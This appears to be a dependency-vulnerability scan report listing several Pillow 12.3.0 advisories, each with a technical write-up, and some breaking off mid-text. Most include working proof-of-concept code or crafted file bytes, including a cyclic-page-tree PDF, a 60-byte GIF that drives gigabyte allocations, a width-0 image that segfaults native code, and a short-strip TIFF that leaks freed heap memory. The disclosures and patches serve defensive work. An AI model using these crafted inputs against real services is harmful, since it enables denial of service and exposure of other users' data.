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Dependency issues not solved for Python 3.10

Name	Version	ID	Fix Versions	Description
pillow	12.3.0	CVE-2026-112895	13.0.0	### Summary When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ### Details linearize_page_tree recurses on /Kids with no cycle or depth check: - src/PIL/PdfParser.py:1078-1092 read_prev_trailer catches only a repeated offset: - src/PIL/PdfParser.py:697-720 (the processed_offsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it) ### PoC python from PIL import PdfParser # A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf) PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way Run it: $ python 11_poc.py RecursionError: maximum recursion depth exceeded The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion. ### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.
pillow	12.3.0	CVE-2026-112400	13.0.0	============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption. The bug is in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self._size and only then calls Image._decompression_bomb_check(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070. In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches load_prepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size. The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and n_frames/is_animated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order. ## Details GifImageFile._seek() lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only after storing it on the object: python # src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image._decompression_bomb_check(self._size) # ...then validated _decompression_bomb_check() (src/PIL/Image.py:3586) raises DecompressionBombError for anything above 2 * MAX_IMAGE_PIXELS (178 956 970 px by default), but by then self._size already holds the rejected value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls back on EOFError, and _seek(0) only ever grows _size. The object that the application still holds therefore reports im.size == (40000, 40000) while im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (GifImagePlugin.py:383 and :407), which call _decompression_bomb_check(dispose_size) before the corresponding Image.core.fill(), and TiffImagePlugin.load_prepare() (src/PIL/TiffImagePlugin.py:1319-1321), which checks _tile_size before allocating from it. With this 60-byte GIF (hex) 47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000), im.im.size == (1, 1), im.tell() == 0. What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from im.size rather than from the C buffer: - Retrying im.seek(1). The failed _seek left self.__offset == 0 and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds. im.load() then runs GifImageFile.load_prepare(): python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill("P", self.size, self._frame_transparency or 0) which allocates and memsets a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, and load_end() (GifImagePlugin.py:485-491) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - im.rotate(angle, expand=True) for a non-multiple-of-90 angle, or the common flatten-onto-background idiom Image.new("RGB", im.size, bg), allocate from im.size as well (measured on an object poisoned to 20000×20000: rotate(45, expand=True) completes and touches 776 MiB; Image.new("RGB", im.size, "white") touches 1.5 GiB). Operations that pass im.size as a box against the real buffer (thumbnail, resize, save) fail with ValueError/SystemError instead. The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold. n_frames / is_animated are not affected: they call _seek(frame, update_image=False), which skips the _size assignment (the file above reports n_frames == 2, is_animated == True and leaves im.size at 1×1). ## Impact A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from seek() — a broad except Exception around a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit except DecompressionBombError: log and continue — and then keeps using the same Image object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: MemoryError after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The MAX_IMAGE_PIXELS guard fires, but does not actually keep the rejected dimensions out of the object it is guarding. The precondition is real application behaviour but not the default path: Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates the error out of the for statement (a try inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late. ## Reproducing repro is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM. 1. setup_env() caps the process address space at 3 GiB with RLIMIT_AS, so the oversized allocations end in MemoryError instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by bomb_gif(). The GIF contains a 1×1 screen and a 1×1 frame 0, so Image.open() passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it. 2. poc() calls im.seek(1) and catches DecompressionBombError, the way an application that skips bad frames would. 3. First check: the state is inconsistent. The script prints im.size next to the real pixel buffer im.im.size. If the rejected frame had left the object unchanged, both would be (1, 1). On the affected code im.size is (40000, 40000). 4. Second check: memory use. The script retries im.seek(1), which now parses the trailing 1×1 frame, and calls im.load(). It prints the process's peak RSS before and after. load_prepare() sizes its Image.core.fill() from im.size, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation. Expected output on the affected tree: open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG The script prints BUG only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1×1 frame. Otherwise it prints OK. With the attached patch applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the last line is OK. ## Suggested fix The attached patch validates before mutating in GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a local, passed to _decompression_bomb_check(), and only then assigned to self._size, matching the order of the two dispose_size checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point: diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] n_frames / is_animated go through update_image=False and are unaffected. The patch also extends test_exception_gif_extents in Tests/test_decompression_bomb.py to assert that im.size is unchanged after the DecompressionBombError. It does not change seek() itself; optionally, seek() could also treat DecompressionBombError like EOFError and re-seek to last_frame, so that a retried seek() does not resume parsing from the middle of the rejected frame. ## The patch GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size Applies to src/PIL/GifImagePlugin.py at the commit above. diff diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py index 98d833736..83cc785fc 100644 --- a/Tests/test_decompression_bomb.py +++ b/Tests/test_decompression_bomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ## The reproducer Reproducer — repro, 2,474 bytes (click to open) Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG. python #!/usr/bin/env python3 # GifImageFile._seek() stores a frame's enlarged size in self._size and only # *then* runs the decompression-bomb check. The check raises, but the object # keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the # next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct from PIL import Image BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 * Image.MAX_IMAGE_PIXELS def frame_1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00" def bomb_gif(): return ( b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3 + frame_1x1() # frame 0: 1x1, passes open() + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000 + frame_1x1() # a real 1x1 frame follows + b";" ) def peak_rss_mib(): return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024 def setup_env(): # Cap the address space so the oversized allocations end in MemoryError # instead of the OOM killer. resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30)) data = bomb_gif() im = Image.open(io.BytesIO(data)) print(f"open(): {len(data)}-byte GIF, size={im.size}") return im def poc(im): # An application skips the bomb frame and keeps going. try: im.seek(1) except Image.DecompressionBombError as e: print(f"seek(1) raised as intended: {e}") return True return False im = setup_env() raised = poc(im) # Expected: a rejected frame leaves the object as it was (size == buffer == 1x1). print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}") poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1) # Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its # buffers from the poisoned im.size. before = peak_rss_mib() im.seek(1) try: im.load() outcome = "completed" except MemoryError: outcome = "MemoryError at the 3 GiB cap" after = peak_rss_mib() print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB") ballooned = after - before > 1000 print("BUG" if poisoned and ballooned else "OK") ---
pillow	12.3.0	CVE-2026-112397	13.0.0	### Summary A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size (0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes. ### Details The PPM parser reads width and height with no lower-bound check: - src/PIL/PpmImagePlugin.py:119 The native apply() writes the row edges with no guard that the width is positive: - src/_imagingmorph.c:81 sets outrow[0] = outrow[width - 1] = 0; match() and get_on_pixels() use the same edge-indexing pattern. ### PoC python from PIL import Image, ImageMorph # A width-0 image (also producible from a crafted PPM header). apply() indexes # outrow[width - 1] == outrow[-1] in native code. im = Image.new("L", (0, 5)) ImageMorph.MorphOp(op_name="dilation4").apply(im) Run it: $ python 03_poc.py Segmentation fault (core dumped) Observed on a source build of commit 3e2ab96. Under AddressSanitizer: ==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply) #0 apply src/_imagingmorph.c:81 SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply With width 0 the outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow. ### Impact Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.
pillow	12.3.0	CVE-2026-112896	13.0.0	## Summary A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with 768 SHORT values: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading. Pillow's TIFF encoder allocates 768 × 2 = 1536 bytes, then passes three plane pointers separated by 256 SHORT entries to libtiff. With BitsPerSample = 16, libtiff instead expects 65536 SHORT values per plane and attempts a 131072-byte read from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in PyImaging_LibTiffEncoderNew. The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required. ## Impact and prerequisites An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, not demonstrated by extracting arbitrary heap contents in this report. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed. The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output. ## Tested environment and limits of the evidence The existing observations were recorded on August 30, 2026, with CPython 3.11.8 on macOS ARM64, using the unmodified official Pillow 12.3.0 wheel and its bundled libtiff 4.7.1: - Wheel: pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl - Wheel size: 4785266 bytes - Wheel SHA-256: 37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 - Pillow source revision: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d - Bundled libtiff SHA-256: e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1 Apple's ASAN runtime was injected at process startup. This is not an ASAN-rebuilt Pillow wheel; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented. Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is Unknown; no CVSS score is proposed. Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. That was not a complete Pillow 8.0.1 installation and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range. ## Observed evidence and controls The earlier integration harness performed the natural sequence Image.open(BytesIO(input)), image.load(), then image.save(BytesIO(), format="TIFF"), without replacing the image's metadata. Each case was recorded three times:
pillow	12.3.0	CVE-2026-112897	13.0.0	============================================================================ TiffDecode returns uninitialized memory as pixels for short JPEG strips Location: src/libImaging/TiffDecode.c:554 in _decodeStrip() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content. The bug is in _decodeStrip() in src/libImaging/TiffDecode.c, and _decodeTile() has the same shape. The function realloc()s state->buffer to TIFFStripSize() bytes without initialising it and calls TIFFReadEncodedStrip(). Whenever that call does not return -1, it copies all RowsPerStrip rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early. The attached reproducer builds a 256×256 TIFF whose single strip or tile is a 256×8 JPEG. Before loading it, the script frees buffers filled with b"LEAK". It then finds 15,872 copies of LEAK in rows 8–255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's MALLOC_PERTURB_, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases. This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width × RowsPerStrip bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0). ## Details src/libImaging/TiffDecode.c decodes compressed TIFFs through libtiff into a strip (or tile) buffer that it realloc()s to TIFFStripSize() bytes and never initialises, and then copies all RowsPerStrip rows of that buffer into the image whenever TIFFReadEncodedStrip() does not return -1. libtiff's JPEG codec does not fail when the JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist and returns the full strip size. The rows it did not write are whatever the heap held before, and Pillow returns them as pixels. A 478-byte file shows it: a classic little-endian TIFF, 256×256, BitsPerSample=8, Compression=7, PhotometricInterpretation=1, RowsPerStrip=256, one strip whose data is a baseline JPEG of 256×8 pixels (as written by Image.new("L",(256,8),200).save(…,"JPEG")). Image.open(BytesIO(data)).load() succeeds with default settings (compressed TIFFs always take the libtiff path). Rows 0–7 of the result are the JPEG content (value 200); the remaining 63488 bytes of im.tobytes() are heap garbage: run under glibc's MALLOC_PERTURB_=1 they are all 0xFE, under MALLOC_PERTURB_=170 all 0x55 (the fresh-malloc fill byte), and in a process that has just freed buffers containing b"LEAK" they contain 15872 copies of LEAK. Feeding the same file to libtiff 4.5.0 directly confirms the library side: TIFFReadEncodedStrip(t, 0, buf, 65536) prints JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8., returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs TIFFSetWarningHandler(NULL) (TiffDecode.c:682), so the warning is not visible either. The strip path: c // src/libImaging/TiffDecode.c:552 /* realloc to fit whole strip */ /* malloc check above */ new_data = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize() … state->buffer = new_data; for (; state->y < state->ysize; state->y += rows_per_strip) { … if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), (tdata_t)state->buffer, strip_size ) == -1) { … return -1; } … // iterate over each row in the strip and stuff data into image for (strip_row = 0; strip_row < MIN((INT32)rows_per_strip, state->ysize - state->y); strip_row++) { … shuffler( (UINT8 *)im->image[state->y + state->yoff + strip_row] + state->xoff * im->pixelsize, state->buffer + strip_row * row_byte_size, state->xsize ); state->buffer arrives here as the one-row calloc made by decode.c:230 ((bits*xsize+7)/8 = 256 bytes for the example). The realloc to 65536 bytes hands back a different, uninitialised chunk; nothing zeroes it. TIFFReadEncodedStrip() returns the nominal strip size on success, not the number of rows produced, and the only check is == -1, so the row loop unconditionally copies 256 rows × 256 bytes into im->image (which itself is zeroed by core.new, so the garbage provably comes from state->buffer). _decodeTile() has the same shape (TiffDecode.c:448 realloc to TIFFTileSize(), then tile_length rows copied after each TIFFReadTile() at 460–488). For a well-formed file the JPEG inside the strip is 256×256, libtiff fills all 65536 bytes and the copy is correct. The malicious file differs only in the SOF height of the embedded JPEG; libtiff treats "JPEG smaller than strip" as a warning, clamps the row count to the JPEG height, and reports success. JPEG is not the only libtiff codec that succeeds on a short strip. Fax4Decode (Compression=4) returns success for a T.6 stream that ends early: a 133-byte 512×256 1-bit TIFF whose strip is the Group 4 stream of a 512×16 image loads without error, libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer (Fax4Decode: Warning, Premature EOL at line 16, return value 16384) and the other 15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were checked and do return -1 on short data, so Pillow raises OSError for those. The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", 2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row TIFFReadScanline() (where libtiff errors on the first missing row) with the whole-strip realloc() and copy. The tile path has had the same shape since it was added in f0436a4ddc95 (2018-07-02, Pillow 5.3.0). ## Impact Any application that opens attacker-supplied images with Pillow in the default configuration and returns something derived from the pixels (thumbnail, preview, format conversion, OCR text) discloses freed heap memory of the worker process to the uploader: everything below the rows the embedded JPEG/G4 stream actually encodes, up to ImageWidth × RowsPerStrip × SamplesPerPixel bytes per strip and tens of MB per image within the default MAX_IMAGE_PIXELS. load() raises nothing, so the application has no signal that the image is malformed. What comes back depends on allocator state; in a long-running web worker it is typically recently freed request bodies, other users' decoded image buffers and Python object contents. There is no memory corruption; this is a read of uninitialised (previously used) heap memory, analogous in effect to an out-of-bounds read that lands in pixels. ## Reproducing repro is a short Python script that runs against the installed Pillow build with default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally and once re-executing itself under glibc's MALLOC_PERTURB_=170, and the last line it prints is BUG or OK. Input. tiff(jpeg_rows, tiled) builds a little-endian TIFF in memory. The header declares a 256×256 8-bit greyscale image with Compression=7 (JPEG), either as one strip (RowsPerStrip=256) or as one 256×256 tile (TileWidth/TileLength). The strip or tile is a baseline JPEG of 256×jpeg_rows pixels, all value 200, written by Pillow's own JPEG encoder. For each layout the script builds two files: - Control: jpeg_rows=256. This is a well-formed file, and libtiff fills the whole 64 KiB strip/tile. - Crafted: jpeg_rows=8, 478 bytes (strip) or 490 bytes (tile). The only difference is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns Improper JPEG strip/tile size (Pillow silences the warning) and returns the full strip/tile size as success. Steps. Each file is opened (the script asserts it takes the libtiff decoder). Just before im.load() the script allocates and frees six 64 KiB bytearrays filled with b"LEAK", which leaves freed heap chunks about the size of the buffer that _decodeStrip()/_decodeTile() is about to realloc(). For rows 8–255 it then counts copies of LEAK and bytes equal to 0x55 (glibc's fresh-malloc fill under MALLOC_PERTURB_=170). The files contain no LEAK bytes (the script asserts this), so any copy in the image came from freed heap memory. It reports BUG if a crafted file shows any LEAK in the normal pass, or rows 8–255 entirely 0x55 in the perturbed pass. Expected output on this tree: [normal ] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [normal ] strip crafted ( 478 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [normal ] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [normal ] tiled crafted ( 490 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [perturb] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [perturb] strip crafted ( 478 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' [perturb] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [perturb] tiled crafted ( 490 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' BUG im.load() succeeds for every file. For the crafted files rows 8–255 are the uninitialised strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8–255 of the crafted files come back as \x00 bytes, with no LEAK and no 0x55, and the script ends with OK. The LEAK count depends on where glibc places the buffer (the same freed chunk was reused in 500 of 500 runs here); the MALLOC_PERTURB_ pass does not. The script covers the JPEG codec only. The Group 4 variant in the Details section (Compression=4, a T.6 stream that ends early) goes through the same _decodeStrip() copy, and the same fix covers it. ## Suggested fix The attached patch zeroes state->buffer before each libtiff read in both loops of src/libImaging/TiffDecode.c — before TIFFReadTile() in _decodeTile() and before TIFFReadEncodedStrip() in _decodeStrip() — so rows a codec does not produce are deterministic zeros rather than stale heap: diff --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ _decodeTile for (x = state->xoff; x < state->xsize; x += tile_width) { + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { @@ _decodeStrip for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( A memset per strip/tile (rather than one calloc after the size is known) is needed because the same buffer is reused for every strip, and a short last strip would otherwise expose the previous strip's rows — harmless for disclosure, but the per-read memset keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting libtiff warnings to errors via a warning handler is not a good alternative: both codecs only warn (Improper JPEG strip/tile size, Premature EOL), but so do many legitimate files (unknown tags, bad tag counts), and the return value of TIFFReadEncodedStrip() carries no row count to check against. Initialising the buffer covers every codec. _decodeAsRGBA() needs no change: TIFFRGBAImageGet() fills its whole raster, and JPEG files do not reach it (JPEGCOLORMODE_RGB sends them down the strip path). Valid files decode exactly as before; rows a codec does not produce are now black instead of garbage, and nothing that previously loaded now fails. The patch also adds test_jpeg_short_strip to Tests/test_file_libtiff.py, parametrised over strip and tile, which builds the 256×8-JPEG-in-256×256 file and asserts rows 8–255 are zero. It is a regression guard for the fixed code rather than a reliable detector of the bug: in a fresh pytest process the unfixed strip variant can pass because the new heap chunk happens to be zero (the tiled variant fails before the fix). With the patch, Tests/test_file_libtiff.py and Tests/test_file_tiff.py pass and the reproducer prints OK. ## The patch Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap Applies to src/libImaging/TiffDecode.c at the commit above. diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..67bc96329 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase): im.load() assert im.size == (950, 975) + @pytest.mark.parametrize("tiled", (False, True)) + def test_jpeg_short_strip(self, tiled: bool) -> None: + # The JPEG data in the strip/tile only contains 8 of the 256 rows that + # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist + # and still reports success, so the remaining rows must be cleared + # rather than left as uninitialised memory. + jpeg = io.BytesIO() + Image.new("L", (256, 8), 200).save(jpeg, "JPEG") + jpeg_data = jpeg.getvalue() + + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[256] = 256 # ImageWidth + ifd[257] = 256 # ImageLength + ifd[258] = 8 # BitsPerSample + ifd[259] = 7 # Compression: JPEG + ifd[262] = 1 # PhotometricInterpretation: BlackIsZero + ifd[277] = 1 # SamplesPerPixel + if tiled: + ifd[322] = 256 # TileWidth + ifd[323] = 256 # TileLength + ifd[324] = 0 # TileOffsets + ifd[325] = len(jpeg_data) # TileByteCounts + # Point the tile data at the end of the IFD + ifd[324] = 8 + len(ifd.tobytes(8)) + else: + ifd[278] = 256 # RowsPerStrip + ifd[STRIPOFFSETS] = 0 # Updated by tobytes() to follow the IFD + ifd[279] = 